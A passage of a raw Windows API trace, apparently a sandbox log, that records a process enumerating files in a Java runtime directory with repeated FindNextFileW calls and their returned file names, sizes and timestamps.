ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0071.288] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1 [0071.288] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21440, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1 [0071.288] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x43040, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1 [0071.288] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2da40, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1 [0071.289] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x40e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1 [0071.289] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1 [0071.289] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x97440, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1 [0071.290] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x26a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1 [0071.290] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e240, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1 [0071.290] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1 [0071.290] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf840, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1 [0071.290] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1 [0071.290] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1 [0071.291] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1 [0071.291] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1 [0071.291] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0071.291] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-64.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1 [0071.291] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.cpl", cAlternateFileName="")) returned 1 [0071.291] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1 [0071.291] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1 [0071.292] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x83640, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font_t2k.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1 [0071.292] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_iio.dll", cAlternateFileName="JAVAFX~3.DLL")) returned 1 [0071.292] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0071.292] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0071.292] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1 [0071.292] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1 [0071.292] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-64.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x31440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7511d3f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7511d3f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2794a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jjs.exe", cAlternateFileName="")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2aa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa897bfc2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x48440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x35e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1 [0071.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: 